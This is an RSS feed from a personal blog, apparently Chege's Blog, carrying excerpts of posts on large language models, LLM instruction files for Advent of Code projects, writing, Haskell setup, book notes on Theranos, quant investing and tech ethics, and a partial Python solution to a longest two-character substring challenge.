<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Home on Chege's Blog</title><link>https://www.curiosities.dev/</link><description>Recent content in Home on Chege's Blog</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Sat, 01 Aug 2026 20:10:22 -0700</lastBuildDate><atom:link href="https://www.curiosities.dev/index.xml" rel="self" type="application/rss+xml"/><item><title>Given Language Models, Why Learn About Large Language Models?</title><link>https://www.curiosities.dev/computer-science/large-language-models/why-learn-about-llms/</link><pubDate>Sun, 30 Nov 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/why-learn-about-llms/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;This part of &lt;span class="citation-ref"&gt;&lt;a href="#CS324Intro"&gt;&lt;/a&gt;&lt;/span&gt; seems pertinent to respond to &amp;ldquo;LLMs are
just (auto-complete; Markov chains; [insert pre-existing LM-adjacent tech]) on
steroids&amp;rdquo;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="scale"&gt;Scale&lt;/h2&gt;
&lt;p&gt;LLMs are massive. From 2018 - 2022, model sizes have increased 5000x. OpenAI&amp;rsquo;s
GPT model from June 2018 had 110M parameters; GPT-3 from May 2020 had 175B
parameters. &lt;span class="citation-ref"&gt;&lt;a href="#CS324Intro"&gt;&lt;/a&gt;&lt;/span&gt; LLM providers no longer seem to advertise
their parameter counts; GPT-4 was leaked to have 1.8T parameters. &lt;span class="citation-ref"&gt;&lt;a href="#GPT4Leak"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="llms-as-standalone-systems"&gt;LLMs as Standalone Systems&lt;/h2&gt;
&lt;p&gt;Unlike LMs that were used as components of larger systems, e.g., machine
translation, LLMs are increasingly capable of being a standalone system. Recall
that LMs are capable of conditional generation (given a prompt, generate a
completion). This allows the same LLM to solve a variety of tasks by changing
the prompt, e.g.,&lt;/p&gt;</description></item><item><title>LLM Instructions for Advent of Code</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/advent-of-code.instructions/</link><pubDate>Sun, 07 Sep 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/advent-of-code.instructions/</guid><description>&lt;h1 id="advent-of-code-challenges"&gt;Advent of Code Challenges&lt;/h1&gt;
&lt;p&gt;Advent of Code is an annual programming event comprising of 25 challenges that
are tied together by a narrative. The user&amp;rsquo;s objective is to pick a language and
then learn about it by solving the programming challenges. At the end of each
event, the user should have a working knowledge of the chosen language.&lt;/p&gt;
&lt;p&gt;Given a file like advent-of-code/2024/AoC2024/06-guard-gallivant/06-guard-gallivant.md,
you can find the source files by searching the containing folder, i.e.,
advent-of-code/2024/AoC2024/06-guard-gallivant/.&lt;/p&gt;</description></item><item><title>LLM Instructions for Advent of Code Using C#</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/aoc-csharp.instructions/</link><pubDate>Sun, 07 Sep 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/aoc-csharp.instructions/</guid><description>&lt;p&gt;The project uses modern C#. The user is an experienced programmer who has been
writing C# for a year. Before that, the user mostly wrote imperative object
oriented C++ code.&lt;/p&gt;
&lt;p&gt;Reference concepts from 
&lt;a href="https://learn.microsoft.com/en-us/dotnet/csharp/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 https://learn.microsoft.com/en-us/dotnet/csharp/
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 where
appropriate.&lt;/p&gt;
&lt;p&gt;Beware of the user writing non idiomatic code, e.g., being too imperative where
a declarative or functional programming approach might be better suited.&lt;/p&gt;</description></item><item><title>Writing Meta</title><link>https://www.curiosities.dev/writing/writing-meta/</link><pubDate>Sun, 17 Apr 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/writing-meta/</guid><description>&lt;h2 id="the-importance-of-clear-writing"&gt;The Importance of Clear Writing&lt;/h2&gt;
&lt;p&gt;In science, tech, or management, you influence people by writing things for them
to read. &lt;span class="citation-ref"&gt;&lt;a href="#Covington2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a id="KnowingViaWriting"&gt;&lt;/a&gt;An essay helps you figure something out. Think of
it as an idea graph - at each node, pick the most interesting related idea.
Expressing your ideas also helps you form them. Writing them down forces you to
think well. &lt;span class="citation-ref"&gt;&lt;a href="#Graham2004"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;I&amp;rsquo;ve noticed this when composing a post to ask why my code is not working. In
the middle of writing and making sure that I&amp;rsquo;ve done my homework, I arrive at my
answer, or an idea that I haven&amp;rsquo;t tried yet!&lt;/p&gt;</description></item><item><title>Learning Haskell via AoC 2021</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/haskell-meta/</link><pubDate>Sat, 19 Feb 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/haskell-meta/</guid><description>&lt;p&gt;This page contains remarks on Haskell that I encountered when working
with source files that span multiple AoC 2021 problems.&lt;/p&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#HiddingAoC2021"&gt;&lt;/a&gt;&lt;/span&gt; and &lt;span class="citation-ref"&gt;&lt;a href="#LeAoC2021"&gt;&lt;/a&gt;&lt;/span&gt; have Haskell
solutions. It&amp;rsquo;ll be nice to compare how they solved the problems. I
don&amp;rsquo;t want to end up perfecting the wrong approach!&lt;/p&gt;
&lt;h2 id="setting-up-haskell-env-for-aoc"&gt;Setting Up Haskell Env for AoC&lt;/h2&gt;
&lt;p&gt;To manage dependencies,

&lt;a href="https://cabal.readthedocs.io/en/3.6/getting-started.html"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Cabal
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 and

&lt;a href="https://docs.haskellstack.org/en/stable/README.html"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Stack
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 are pretty
popular. Stack incorporates the Cabal build system.&lt;/p&gt;</description></item><item><title>Introduction</title><link>https://www.curiosities.dev/politics-and-governance/reich-sahami-weinstein-system-error/00-introduction/</link><pubDate>Sun, 26 Sep 2021 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/reich-sahami-weinstein-system-error/00-introduction/</guid><description>&lt;p&gt;Techno-utopianism claimed that the old ways of doing things are broken, and
technology is the panacea: ending poverty, fixing racism, equalizing
opportunity, strengthening democracy; toppling authoritarian regimes.&lt;/p&gt;
&lt;p&gt;Disruptive, wealthy and apolitical innovators were/are the heroes, and not the
tech activists, e.g. the late Aaron Swartz.&lt;/p&gt;
&lt;p&gt;However, the conversation has shifted to techno-dystopianism: humans losing
jobs, loss of privacy, radicalization, etc.&lt;/p&gt;
&lt;p&gt;But both techno-utopianism and techno-dystopianism are too facile and simplistic
outlooks. Tech creates civic and social by-products, e.g. FB&amp;rsquo;s ad targeting
being used by operatives to undermine democracy.&lt;/p&gt;</description></item><item><title>Introduction</title><link>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-0/00-introduction/</link><pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-0/00-introduction/</guid><description>&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;Investor&lt;/th&gt;
 &lt;th&gt;Key Fund/Vehicle&lt;/th&gt;
 &lt;th&gt;Period&lt;/th&gt;
 &lt;th&gt;Annualized Returns After Fees&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Jim Simons&lt;/td&gt;
 &lt;td&gt;Medallion Fund&lt;/td&gt;
 &lt;td&gt;1988 – 2018 (30)&lt;/td&gt;
 &lt;td&gt;39.1%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;George Soros&lt;/td&gt;
 &lt;td&gt;Quantum Fund&lt;/td&gt;
 &lt;td&gt;1969 – 2000 (31)&lt;/td&gt;
 &lt;td&gt;32.0%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Steven Cohen&lt;/td&gt;
 &lt;td&gt;SAC&lt;/td&gt;
 &lt;td&gt;1992 – 2003 (11)&lt;/td&gt;
 &lt;td&gt;30.0%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Peter Lynch&lt;/td&gt;
 &lt;td&gt;Magellan Fund&lt;/td&gt;
 &lt;td&gt;1977 – 1990 (13)&lt;/td&gt;
 &lt;td&gt;29.0%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Warren Buffett&lt;/td&gt;
 &lt;td&gt;Berkshire Hathaway&lt;/td&gt;
 &lt;td&gt;1965 – 2018 (53)&lt;/td&gt;
 &lt;td&gt;20.5%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Ray Dalio&lt;/td&gt;
 &lt;td&gt;Pure Alpha&lt;/td&gt;
 &lt;td&gt;1991 – 2018 (27)&lt;/td&gt;
 &lt;td&gt;12%&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;But time in the market is king - at least that&amp;rsquo;s what Malkiel taught me. Ranking the returns using 
&lt;a href="https://www.curiosities.dev/computer-science/networks/networks-friends-money-bytes/data-in-networks/amazon-rankings/bayesian-ranking/"
 
 
 
 &gt;
 Bayesian methods
 
&lt;/a&gt;
 gives: Simmons 28.0%, Soros 26.9%, Cohen 26.2%, Lynch 26.2%, Buffet 24.6%, Dalio 24.0%. Maybe I did something wrong - Dalio &lt;em&gt;shouldn&amp;rsquo;t&lt;/em&gt; be close to Buffet. And I thought Buffet would be higher up in the new ranking.&lt;/p&gt;</description></item><item><title>An Overview of the World's Current State</title><link>https://www.curiosities.dev/socioeconomics/2020-03-14-how-well-do-you-know-the-world/</link><pubDate>Sat, 14 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/socioeconomics/2020-03-14-how-well-do-you-know-the-world/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;It&amp;rsquo;s hard to give pessimistic answers when &lt;span class="citation-ref"&gt;&lt;a href="#Rosling2018"&gt;&lt;/a&gt;&lt;/span&gt;&amp;rsquo;s title says
&amp;ldquo;Things Are Better Than You Think&amp;rdquo;&amp;hellip;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="educational-attainment"&gt;Educational Attainment&lt;/h2&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Q1. In all low-income countries across the world today, how many girls finish
primary school? &lt;span class="citation-ref"&gt;&lt;a href="#Rosling2018"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There has been lots of efforts to get girls to finish primary school, e.g. providing sanitary towels. Surely, they must be at \( \ge 40% \) completion rates.&lt;/p&gt;
&lt;p&gt;🔲  A: 20 percent&lt;/p&gt;
&lt;p&gt;❌  B: 40 percent&lt;/p&gt;</description></item><item><title>00. Prologue</title><link>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/00-prologue/</link><pubDate>Mon, 21 May 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/carreyrou-bad-blood/00-prologue/</guid><description>&lt;p&gt;Holmes had an all-star team: Larry Ellison&amp;rsquo;s mentor as Chair, Associate Dean of Stanford&amp;rsquo;s School of Engineering, 30 years IBM experience, 25 years pharma and biotech experience, Panasonic&amp;rsquo;s chip-making subsidiary head&amp;hellip;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Fraud or not, this is a sick lineup! How could she mess this up?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Big Pharma spends tens of $B on clinical trials each year. Theranos would enable them to adjust dosage and save 30%. Holmes insisted on revising financial projections upward - assuming all (15+) deals came through - to $1.5b.&lt;/p&gt;</description></item><item><title>000. Longest Two-Character Substring</title><link>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/easy-challenges/000-longest-two-character-substring/000-longest-two-character-substring/</link><pubDate>Sat, 02 Sep 2017 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/reddit-daily-programmer/easy-challenges/000-longest-two-character-substring/000-longest-two-character-substring/</guid><description>&lt;h2 id="description"&gt;Description&lt;/h2&gt;
&lt;p&gt;Given a string, find the longest sub-string that contains, at most, two characters. 
&lt;a href="https://www.reddit.com/r/dailyprogrammer/comments/1g0tw1/easy_longest_twocharacter_substring/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 /r/dailyprogrammer post
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution&lt;/h2&gt;


&lt;div id=''&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;Finds the longest sub-string that contains, at most, two characters.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;Input:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;An all lower-case string, e.g.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; abbccc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; abcabcabcabccc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; qwertyytrewq
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;Output:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;Print the longest sub-string of the given string that contains, at most, two
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;unique characters.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;If you find multiple sub-strings that match the description, print the last
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;sub-string (furthest to the right).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; bbccc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; bccc
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; tyyt
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;sys&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;def&lt;/span&gt; &lt;span style="color:#75af00"&gt;getLongestSubstring&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;longString&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;n&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#111"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; Find the longest substring containing at most n unique characters.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; Param(s):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; longString (str)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; The string for which we&amp;#39;re looking for a substring.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; n (int)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; The maximum number of unique characters allowed in the substring.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#d88200"&gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;charIndexes&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;currentStart&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;bestStart&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;bestLength&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;currentStart&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;index&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;for&lt;/span&gt; &lt;span style="color:#111"&gt;currentChar&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;longString&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;currentChar&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;end&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34; ...&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\n&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Case 1: The character is already in the set.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;currentChar&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;charIndexes&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;keys&lt;/span&gt;&lt;span style="color:#111"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Note the most recent position in which the char occurs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;charIndexes&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;currentChar&lt;/span&gt;&lt;span style="color:#111"&gt;][&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;index&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# print(&amp;#34;Incremented: &amp;#34;, charIndexes[currentChar])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Case 2: The character is not in the set&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;else&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;numChars&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;len&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;charIndexes&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# If necessary, make room for the new char&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;numChars&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#111"&gt;n&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;charToRemove&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;longString&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;currentStart&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;index&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&lt;/span&gt; &lt;span style="color:#111"&gt;charIndexes&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;charToRemove&lt;/span&gt;&lt;span style="color:#111"&gt;][&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Store the best result that we&amp;#39;ve encountered.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;bestLength&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;bestLength&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;length&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;bestStart&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;currentStart&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Start the new substring after the last occurence of the char&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# being removed.&lt;/span&gt;
